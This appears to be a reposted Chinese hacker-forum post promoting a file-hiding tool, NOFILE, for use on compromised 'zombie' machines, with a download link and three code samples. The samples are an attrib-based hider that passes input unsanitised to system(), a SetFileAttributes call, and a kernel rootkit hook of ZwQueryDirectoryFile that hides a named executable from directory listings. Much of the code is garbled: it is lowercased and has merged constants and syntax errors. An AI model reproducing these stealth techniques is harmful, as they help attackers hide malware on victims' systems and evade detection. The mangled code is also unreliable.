当前位置:首页 > 软件开发 > net
firefox

邪恶八进制内部隐藏工具NOFILE

呵呵~~我写的一个可以隐藏任何文件的小冬冬,就算选了显示所有文件也看不到哦!在dos里可访问(说明还在),但用 del或dir命令都无效哦!^_^给大家在肉机上玩玩吧,说不定(我说一定~)会让你的肉鸡晚飞几天(n久~),呵呵,有点自大了,发 407070565@qq.com来骂我。
小玩意,下载地址:http://bbs.shop366.com/nofile.rar


以下是eviloctal编辑添加内容:
冰血封情的仿照代码:


//creditz bideyore[e.s.t] and eviloctal[e.s.t]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argv, char* argc[])
{
   char string[256];
   if( argv < 2 )
   {
       fprintf(stderr, "proper usage is: \n");
       fprintf(stderr, "%s filename: \n", argc[0]);
       return (1);
   }
   strcpy(string, "attrib +s +h ");
   
   int stringl = strlen(argc[1]) + strlen(string);
   if (stringl > 255)
   {
       fprintf(stderr, "error!\n");
       exit(1);
   }
   char * output = strcat(string, argc[1]);
   

   system(output);
   return 0;
}


下面是swords的方法:


#include<windows.h>

int main(int argv,char *argc[]){
  setfileattributes(argc[1],file_attribute_hiddenfile_attribute_system);
}


下面是dahubaobao的代码:


ntstatus newzwquerydirectoryfile (
    in handle hfile,
    in handle hevent optional,
    in pio_apc_routine ioapcroutine optional,
    in pvoid ioapccontext optional,
    out pio_status_block piostatusblock,
    out pvoid fileinformationbuffer,
    in ulong fileinformationbufferlength,
    in file_information_class fileinfoclass,
    in boolean returnonlyoneentry,
    in punicode_string filename optional,
    in boolean restartquery)
{
  ntstatus ntstatus=status_success;
  lpfile_names_information filecurr=null;
  lpfile_names_information fileprev=null;
  unicode_string filenamewide=;
  ansi_string filenameansi=;
  ulong filenamelength=0;
  boolean lastone;
  int pos=0,left=0;

  keacquirespinlock(&spinlock,&irql);

  //请求原函数
  ntstatus=((zwquerydirectoryfile)(oldzwquerydirectoryfile)) (
                  hfile,hevent,ioapcroutine,ioapccontext,
                  piostatusblock,fileinformationbuffer,
                  fileinformationbufferlength,fileinfoclass,
                  returnonlyoneentry,filename,restartquery);

  if (nt_success(ntstatus) && (fileinfoclass==3)
  {
    //指向文件列表缓冲区
    if ((filecurr=(lpfile_names_information)fileinformationbuffer)==null)
      return ntstatus;

    do {  
     lastone=!(filecurr->nextentryoffset);  //取偏移
     filenamelength=filecurr->filenamelength; //取长度

     rtlinitunicodestring(&filenamewide,filecurr->filename);
     rtlunicodestringtoansistring(&filenameansi,&filenamewide,true);

     if (_strnicmp("test.exe",filenameansi.buffer,(filenamelength / 2))==0)
     {
       //最后一个文件
       if (lastone)
       {
         if (filecurr==(lpfile_names_information)fileinformationbuffer)
           ntstatus=status_no_more_files; //隐藏
         else
           fileprev->nextentryoffset=0;
       }
       else
       {
         //移动文件偏移
         pos=((ulong)filecurr)-((ulong)fileinformationbuffer);
         left=(ulong)fileinformationbufferlength-pos-filecurr->nextentryoffset;
         //覆盖缓冲
         rtlcopymemory((pvoid)filecurr,(pvoid)((char *)filecurr+filecurr->nextentryoffset),(dword)left);
         continue;
       }
     }

     //下一文件
     fileprev=filecurr;
     filecurr=(lpfile_names_information)((char *)filecurr+filecurr->nextentryoffset);

    }while (!lastone);
  }

  if (filenameansi.buffer)
    rtlfreeansistring(&filenameansi);

  kereleasespinlock(&spinlock,irql);

  return ntstatus;
}

 ↓相关文章:
© 2006-2008 All Rights Reserved